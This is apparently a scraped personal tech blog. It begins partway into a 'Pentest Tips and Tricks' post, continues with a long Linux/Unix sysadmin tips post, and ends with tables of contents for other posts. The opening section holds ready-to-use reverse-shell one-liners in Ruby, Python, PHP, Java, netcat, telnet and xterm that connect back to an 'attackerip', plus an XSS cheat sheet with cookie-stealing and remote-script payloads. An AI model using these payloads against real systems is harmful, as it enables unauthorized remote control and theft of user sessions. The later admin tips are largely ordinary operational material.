ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

# for win platform
ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

PYTHON Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP Reverse Shell

php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'

JAVA Reverse Shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

NETCAT Reverse Shell

nc -e /bin/sh attackerip 4444
nc -e /bin/sh 192.168.37.10 443

# If the -e option is disabled, try this
# mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc attackerip 443
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/

# If you have the wrong version of netcat installed, try
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f

TELNET Reverse Shell

# If netcat is not available or /dev/tcp
mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe

XTERM Reverse Shell

# Start an open X Server on your system (:1 – which listens on TCP port 6001)
apt-get install xnest
Xnest :1

# Then remember to authorise on your system the target IP to connect to you
xterm -display 127.0.0.1:1

# Run this INSIDE the spawned xterm on the open X Server
xhost +targetip

# Then on the target connect back to the your X Server
xterm -display attackerip:1
/usr/openwin/bin/xterm -display attackerip:1
or
$ DISPLAY=attackerip:0 xterm

XSS Cheat Codes

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
("< iframes > src=http://IP:PORT </ iframes >")

<script>document.location=http://IP:PORT</script>

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

";!–"<XSS>=&amp;amp;{()}

<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"">
<IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;>

<IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041>
<IMG SRC="jav ascript:alert('XSS');">

perl -e 'print "<IMG SRC=javascript:alert(\"XSS\")>";' > out

<BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert("XSS")>

(">< iframes http://google.com < iframes >)

<BODY BACKGROUND="javascript:alert('XSS')">
<FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET>
"><script >alert(document.cookie)</script>
%253cscript%253ealert(document.cookie)%253c/script%253e
"><s"%2b"cript>alert(document.cookie)</script>
%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E
<img src=asdf onerror=alert(document.cookie)>

SSH Over SCTP (With Socat)

# on remote server
# assuming you want the SCTP socket to listen on port 80/SCTP and sshd is on 22/TCP
$ socat SCTP-LISTEN:80,fork TCP:localhost:22

# localhost
# replace SERVER_IP with IP of listening server, and 80 with whatever port the SCTP listener is on :)
$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80

# create socks proxy
# replace username and -p port value as needed...
$ ssh -lusername localhost -D 8080 -p 1337

Install Metasploit Community Edition in Kali 2.0

# github urls
https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run && chmod
+x metasploit-latest-linux-x64-installer.run && ./metasploit-latest-linux-x64-installer.run

# create user
$ /opt/metasploit/createuser
[*] Please enter a username: root
[*] Creating user 'root' with password 'LsRRV[I^5' ...

# activate your metasploit license
https://localhost:3790

# update metasploite
$ /opt/metasploit/app/msfupdate

# use msfconsole
$ /opt/metasploit/app/msfconsole

Pentest Tips and Tricks was originally published by EK at EK on July 01, 2015.

Linux-Unix-IT Tips and Tricks #3

2015-07-01 17:23:41 +0300T00:00:00-00:00

Different Linux / Unix / IT tips, notes, howto part 3

Other parts
Speed up MySQL Import
Coreutils List
List all process swap space usage
Delete millions files from dir
Nice Diff
Run jobs with parallel
Awk PS SUM
Show ext4 fragmentation %
Statistic of system resource
Tcpdump with SSH stream
Linux Namespaces
Show daemon list need to restart after update
Increases TCPdump buffer
Get Firefox bookmarks
SSL certs info
Reset root password on RHEL7\CentOS7

Other parts

Part 1 Part 2 Part 3

Speed up MySQL Import

mysql -u someuser -p SET AUTOCOMMIT=0; SET UNIQUE_CHECKS=0; SET FOREIGN_KEY_CHECKS=0; \
source dump.sql;SET FOREIGN_KEY_CHECKS=1; UNIQUE_CHECKS=1; COMMIT;

Coreutils List

curl 'http://www.gnu.org/software/coreutils/manual/coreutils.html' 2>/dev/null |grep 'h3 class' | grep 'class="command"' | sed 's/.*class="command">//' | sed 's|</span></samp>||' | sed 's|</h3>||' | grep ':' | sort

List all process swap space usage

for file in /proc/*/status ; do awk '/VmSwap|Name/{printf $2 " " $3}END{ print ""}' $file; done

Delete millions files from dir

# rm is fucked, this is ok =)
perl -e 'chdir "/tmp/1" or die; opendir D, "."; while ($n = readdir D) { unlink $n }'

Nice Diff

diff --side-by-side fileA.txt fileB.txt | pager

Run jobs with parallel

# apt-get install parallel
ls *.png | parallel -j4 convert {} {.}.jpg

Awk PS SUM

ps alx | tail -n +2 | awk 'BEGIN{rss=0; vsz=0} {rss += $7; vsz+=$8} END{print rss, vsz;}'

Show ext4 fragmentation %

# be carefull!!
for D in $( mount | awk '$5~/ext4/ { print $1 }' ); do sudo fsck.ext4 -nvf ${D}; done
non-contiguous is a % of fragmentation

e4defrag /
e4defrag -c /

# fragmentation for file
filefrag -v /PATH/TO/FILE

Statistic of system resource

# apt-get install dstat
dstat -c --top-cpu -d --top-bio --top-latency

Tcpdump with SSH stream

# stream through SSH the tcpdump output and analyze it locally with Wireshark
mkfifo /tmp/wshark
ssh root@ip "tcpdump -s 0 -U -n -w - -i eth0 not port 22" > /tmp/wshark
wireshark -k -i /tmp/wshark

Linux Namespaces

Starting from kernel 2.6.24, Linux supports 6 different types of namespaces. Namespaces are useful in creating processes that are more isolated from the rest of the system, without needing to use full low level virtualization technology.

CLONE_NEWIPC: IPC Namespaces: SystemV IPC and POSIX Message Queues can be isolated.
CLONE_NEWPID: PID Namespaces: PIDs are isolated, meaning that a virtual PID inside of the namespace can conflict with a PID outside of the namespace. PIDs inside the namespace will be mapped to other PIDs outside of the namespace. The first PID inside the namespace will be ‘1’ which outside of the namespace is assigned to init
CLONE_NEWNET: Network Namespaces: Networking (/proc/net, IPs, interfaces and routes) are isolated. Services can be run on the same ports within namespaces, and “duplicate” virtual interfaces can be created.
CLONE_NEWNS: Mount Namespaces. We have the ability to isolate mount points as they appear to processes. Using mount namespaces, we can achieve similar functionality to chroot() however with improved security.
CLONE_NEWUTS: UTS Namespaces. This namespaces primary purpose is to isolate the hostname and NIS name.
CLONE_NEWUSER: User Namespaces. Here, user and group IDs are different inside and outside of namespaces and can be duplicated.

Show daemon list need to restart after update

sudo lsof / | grep DEL | cut -f1 -d' ' | sort -u

Increases TCPdump buffer

tcpdump -l -B 10000 host example.com

Get Firefox bookmarks

sqlite3 ~/.mozilla/firefox/*.[dD]efault/places.sqlite "SELECT strftime('%d.%m.%Y %H:%M:%S', dateAdded/1000000, 'unixepoch', 'localtime'),url FROM moz_places, moz_bookmarks WHERE moz_places.id = moz_bookmarks.fk ORDER BY dateAdded;"

SSL certs info

# show expire date of cert
openssl x509 -enddate -noout -in certnew.cer
# show all info of cert
openssl x509 -text -noout -in certnew.cer
# check that secret key (privkey.pem) is valid
openssl rsa -noout -text -in privkey.pem

Reset root password on RHEL7\CentOS7

grub linux16 to the end of the line add "rd.break  console=tty1"
ctrl+x
switch_root:/# mount -o remount,rw /sysroot
switch_root:/# chroot /sysroot
sh-4.2# passwd root
sh-4.2# touch /.autorelabel
exit

Blacklisting firewire in Linux

find /lib/modules/`uname -r` -name *firewire*
modinfo snd-firewire-lib
modinfo firewire-core
echo "blacklist firewire-core" > /etc/modprobe.d/blacklist-firewire.conf
modprobe --showconfig | grep blacklist #show blacklist modules
modprobe --showconfig | grep "^install" | grep "/bin"

Install Ubuntu OpenStack

sudo apt-add-repository -y ppa:cloud-installer/stable
sudo apt-get update
sudo apt-get install -y openstack
sudo openstack-install

Vagrant WinXP

# https://www.bram.us/2014/09/24/modern-ie-vagrant-boxes/
# http://aka.ms/vagrant-xp-ie6
vagrant box add winxpie6 http://aka.ms/vagrant-xp-ie6
vagrant init winxpie6
vagrant up

Simple Cut Video in linux

# cut video from 00:02:52 to 00:03:45
ffmpeg -i original.mp4 -ss 00:02:52 -t 00:03:45 -async 1 -strict -2 cut.mp4

How to clean TMP dir on boot

/etc/default/rcS
#TMPTIME=0

The port scan attack detector - PSAD

# http://cipherdyne.org/psad/
apt-get install psad

/etc/syslog.conf
kern.info       |/var/lib/psad/psadfifo

/etc/init.d/sysklogd restart
/etc/init.d/klogd

/etc/psad/psad.conf
/etc/init.d/psad restart

iptables -A INPUT -j LOG
iptables -A FORWARD -j LOG

view port scan report
psad -S

SNMPTrap using

/etc/default/snmpd
TRAPDRUN=yes

/etc/snmp/snmptrapd.conf
authCommunity log public

snmptrap -v 1 -c public 127.0.0.1 .1.3.6.1 localhost 6 17 '' .1.3.6.1 s "Just a test"

/var/log/syslog
Jun 23 12:14:47 linux snmptrapd[14221]: 2015-06-23 12:14:47 linux [127.0.0.1] (via UDP: [127.0.0.1]:58914->[127.0.0.1]) TRAP, SNMP v1, community public#012#011iso.3.6.1 Enterprise Specific Trap (17) Uptime: 1 day, 1:45:51.14#012#011iso.3.6.1 = STRING: "Just a test"

# tcpdump snmptraps
tcpdump -i eth1 -w test.log "udp and (src port 161 or 162)"
tcpdump -w troubleshoot.pcap -vv -A -T snmp "(dst port 162) or (src port 161) or (dst port 161)

Remove Postfix Resiver Header

# add to /etc/postfix/header_checks
/^Received:.*with ESMTP/              IGNORE

# add to /etc/postfix/main.cf
mime_header_checks = regexp:/etc/postfix/header_checks header_checks = regexp:/etc/postfix/header_checks
postmap /etc/postfix/header_checks
postfix reload

# add to /etc/ssh/sshd_config
Match user stew
PasswordAuthentication no

or

Match group dumbusers
PasswordAuthentication no

Revert Firefox to init state

open about:support and press <Refresh Firefox>

Limit MySQL and MongoDB mem usage with Cgroups

cgcreate -g memory:DBLimitedGroup
echo 16G > /sys/fs/cgroup/memory/DBLimitedGroup/memory.limit_in_bytes
sync; echo 3 > /proc/sys/vm/drop_caches
cgclassify -g memory:DBLimitedGroup `pidof mongod`
cgclassify -g memory:DBLimitedGroup `pidof mysqld_safe`

Strace using

# file activity common syscalls:
access ()
close (close file handle)
fchmod (change file permissions)
fchown (change file ownership)
fstat (retrieve details)
lseek (move through file)
open (open file for reading/writing)
read (read a piece of data)
statfs (retrieve file system related details)

$ strace php 2>&1 | grep php.ini
$ strace -e open php 2>&1 | grep php.ini
$ strace -e open,access 2>&1 | grep your-filename
$ strace -p PID
# strace -c -p PID

# the network common syscalls:
bind – link the process to a network port
listen – allow to receive incoming connections
socket – open a local or network socket
setsockopt – define options for an active socket

$ strace -e poll,select,connect,recvfrom,sendto nc www.news.com 80
$ strace -e trace=network

# memory common syscalls:
mmap
munmap

$ strace -e trace=memory

# useful options and examples:
-c – See what time is spend and where (combine with -S for sorting)
-f – Track process including forked child processes
-o my-process-trace.txt – Log strace output to a file
-p 1234 – Track a process by PID
-P /tmp – Track a process when interacting with a path
-T – Display syscall duration in the output

# track by specific syscall group:
-e trace=ipc – Track communication between processes (IPC)
-e trace=memory – Track memory syscalls
-e trace=network – Track memory syscalls
-e trace=process – Track process calls (like fork, exec)
-e trace=signal – Track process signal handling (like HUP, exit)
-e trace=file – Track file related syscalls

# trace multiple syscalls:
strace -e open,close

Linux System Errors Types

cat /usr/include/asm-generic/errno.h |grep "#"

Auditd

# create rule: open
auditctl -a always,exit -F arch=b64 -F pid=8175 -S open -k cups-open-files
ausearch -k cups-open-files

# check which process is modifying a certain directory or file
auditctl -w /path/to/directory -p war
ausearch -f /path/to/directory

MySQL version from an FRM file

# MySQL version 5.5.32
$ hexdump -s 0x33 -n 2 -v -d 55_test.frm
0000033 50532
# MySQL version 5.1.73
$ hexdump -s 0x33 -n 2 -v -d 51_test.frm
0000033 50173

Check if a library is installed

$ ldconfig -p | grep libjpeg

FS in File

$ dd if=/dev/zero of=/tmp/disk-image count=20480
$ mkfs -t ext4 -q /tmp/disk-image
$ mkdir /virtual-fs
$ mount -o loop=/dev/loop0 /tmp/disk-image /virtual-fs
# add to /etc/fstab
/tmp/disk-image /virtual-fs ext4 rw,loop 0 0

Encrypt Tar with OpenSSL\GPG

# encrypt
$ gpg -c test.tar
$ tar -czv stuff|openssl des3 -salt -k secretpassword | dd of=stuff.des3
# decrypt
$ gpg test.tar.gpg
$ dd if=stuff.des3 |openssl des3 -d -k secretpassword|tar xz

Split big archive

split -b 700m archive.tar part
cat part* > archive.tar

Installed pkgs size

# freebsd

pkg_info -as | perl -pe '$/=")"; s/\n*Information for (.*?):[\n\s]*Package Size:[\n\s]*(\d+)\s*\(\s*1K\-blocks\s*\)/$2 - $1\n/;' | sort -nr | less

# ubuntu
dpkg-query -W --showformat='${Installed-Size} ${Package}\n' | sort -n

Compare 2 directory

diff -qr dir1 dir2

WGet ALL site

wget -m -k -nv -np -p --user-agent="Mozilla/5.0 (compatible; Konqueror/3.0.0/10; Linux)" http://www.rhd.ru/docs/manuals/enterprise/RHEL-5-Manual/Virtual-Server-Administration/

Mount with SSH

apt-get install sshfs
mkdir ~/music
sshfs <remote_ip>:/music ~/music/
fusermount -u ~/music/

Boot in DOS

apt-get install syslinux
cp /usr/share/syslinux/memdisk /boot
wget -O /boot/Dos6.22.img http://www.allbootdisks.com/downloads/Disks/MS-DOS_Boot_Disk_Download47/Diskette%20Images/Dos6.22.img
# add to /boot/grub/menu.lst
title MSDOS
root(hd0,0) # Номер диска изменить на нужный
kernel /memdisk
initrd /Dos6.22.img

Remove all tables from MySQL DB

mysql -u root -ppassword -Ddb-name -e 'show tables;' | grep -v 'Tables_in' > /tmp/tables_list
for table in `cat /tmp/tables_list`; do mysql -u root -ppassword -Ddb-name -e "drop table $table;" ; done

Resize jpg for web

for i in *.jpg; do convert -resize 640x480 -quality 85 $i small-$i.jpg; done

Postfix redirect outbound mail

# all outbound mail redirect to local <username>
$ postconf -e luser_relay=username
$ postmap /etc/postfix/transport
$ postconf -e transport_maps=hash:/etc/postfix/transport
# add to /etc/postfix/transport
localhost :
* local:username

RM: Argument list too long

find | xargs --no-run-if-empty -n 500 rm -f

Rootkits check

apt-get install rkhunter
rkhunter –-update
rkhunter –-check

Restore deleted files

lsof | grep storage.db
memcached 22073 memcachedb   15u      REG                8,1 88090279936   14221332 /path/memcachedb/storage.db (deleted)
/proc/22073/fd
find /path/memcachedb/ -inum 14221332 -exec cp {} /var/tmp/storage.db \;

Flush linux disk cache

sudo sh -c 'sync; echo 3 > /proc/sys/vm/drop_caches'
free && sync && echo 3 > /proc/sys/vm/drop_caches && free

Firewall-cmd open http port 80

# open
$ firewall-cmd --zone=public --add-port=80/tcp --permanent
$ firewall-cmd --reload
$ iptables-save | grep 80

# to block
$ firewall-cmd --zone=public --remove-port=80/tcp --permanent
$ firewall-cmd --reload

Auditd

# install
$ $ sudo yum list audit audit-libs

# /etc/audit/auditd.conf
max_log_file = 30
max_log_file_action = ROTATE
sudo service auditd restart

# Generating Audit Reports
$ sudo aureport -x --summary
$ sudo aureport --failed
$ sudo aureport -f -i

# view the current set of audit rules
$ sudo auditctl -l
# current status of the audit system
$ sudo auditctl -s
# add rule fo file
$ auditctl -w path_to_file -p permissions -k key_name
$ sudo auditctl -w /etc/hosts -p wa -k hosts_file_change

# /etc/audit/rules.d/audit.rules
-w /etc/hosts -p wa -k hosts_file_change
$ sudo auditctl -l
# add rule for dir
$ sudo auditctl -w /etc/sysconfig/ -p rwa -k configaccess
$ sudo ausearch -k configaccess

# system call rules
$ auditctl -a action,filter -S system_call -F field=value -k key_name
$ sudo auditctl -a always,exit -F arch=b64 -F "auid>=1000" -S rename -S renameat -k rename
$ sudo auditctl -a always,exit -F arch=b64 -F auid=1001 -S open -k userfileaccess

# removing audit rules
$ sudo auditctl -W /etc/passwd -p wa -k passwdaccess

Create dark directory

# read file only if you know it name
mkdir darkroom
chmod a-r+x darkroom

File attributes Linux-Unix

# linux
chattr +i vip_file
lsattr vip_file
chattr +a vip_file

# freebsd
chflags schg vip_file
chflags noschg vip_file
ls -lo vip_file

# freebsd flags
acrh
opaque
nodump
sappnd
schg
sunlnk
uappnd
uchg
uunlnk

Iptables to limit connections

IPT=/sbin/iptables
# Interface id
INET_IF=eth0
# Http Port
HTTP_PORT=80
# Max connection in seconds
SECONDS=100
# Max connections per IP
BLOCKCOUNT=10
# Default action can be DROP or REJECT
DACTION="DROP"
$IPT -I INPUT -p tcp --dport ${HTTP_PORT} -i ${INET_IF} -m state --state NEW -m recent --set
$IPT -I INPUT -p tcp --dport ${HTTP_PORT} -i ${INET_IF} -m state --state NEW -m recent --update --seconds ${SECONDS} --hitcount ${BLOCKCOUNT} -j ${DACTION}

# for test we can use
ab -c 100 -n 1000 http://ip.ad.dr.es/
iptables -vL

Reboot linux with kernel panic

# /etc/sysctl.conf
kernel.panic = 15
$ sysctl -p

Linux-Unix-IT Tips and Tricks #3 was originally published by EK at EK on July 01, 2015.

EK

Move from HDD to SSD with ArchLinux

System prepare

Boot from the Arch liveCD

Edit fstab

Enable deadline scheduler for SSD

Enable FSTRIM service

Exit chroot add reboot

Linux SysAdm/DevOps Interview Questions

[[⬆]]General Questions:

[[⬆]]Simple Linux Questions:

[[⬆]]Medium Linux Questions:

[[⬆]]Hard Linux Questions:

[[⬆]]Expert Linux Questions:

[[⬆]]Networking Questions:

[[⬆]]MySQL questions:

[[⬆]]DevOps Questions:

[[⬆]]Fun Questions:

[[⬆]]Demo Time:

ArchLinux Installation Guide

Download and Boot

Network Configuration

Create partitions

Format and activate partitions

Install the base packages

Generate fstab

Enter the new system

Set fastmirrors

Setup system clock

Set the hostname

Language and location settings

Set root password

Add real user

Add user to sudo

Configure repositories

Install grub

Wired packages

Install OpenSSH

Reboot into the new system

Login and setup network

Install X

KDE5 Plasma

Sound

Font Rendering

Software

VirtualBox

Printer

Reshift

HDD load cycle count

Sysctl

Encrypt User Home with ecryptfs

GRUB2 Speedup

GRUB2 Password

Improve ext4 performance

System Speedup

Save installed pkg list

IPtables rules

Pentest Tips and Tricks #2

Other Parts

Tor Nat Traversal

DNS brute forcing with fierce

Metagoofil metadata gathering tool

A best NMAP scan strategy

Nmap – Techniques for Avoiding Firewalls

Exploit servers to Shellshock

Root with Docker

Tunneling Over DNS to Bypass Firewall

Compile Assemble code

Pivoting to Internal Network Via Non Interactive Shell

Patator is a multi-purpose brute-forcer

Metasploit Web terminal via Gotty

Get full shell with POST RCE

Exiftool - Read and write meta information in files

Get SYSTEM with Admin reverse_shell on Win7

Get SYSTEM with Standard user reverse_shell on Win7

Generate our own dic file based on the website content

Bruteforce DNS records using Nmap

Identifying a WAF with Nmap

MS08-067 - without the use of Metasploit

Nikto scan with SQUID proxy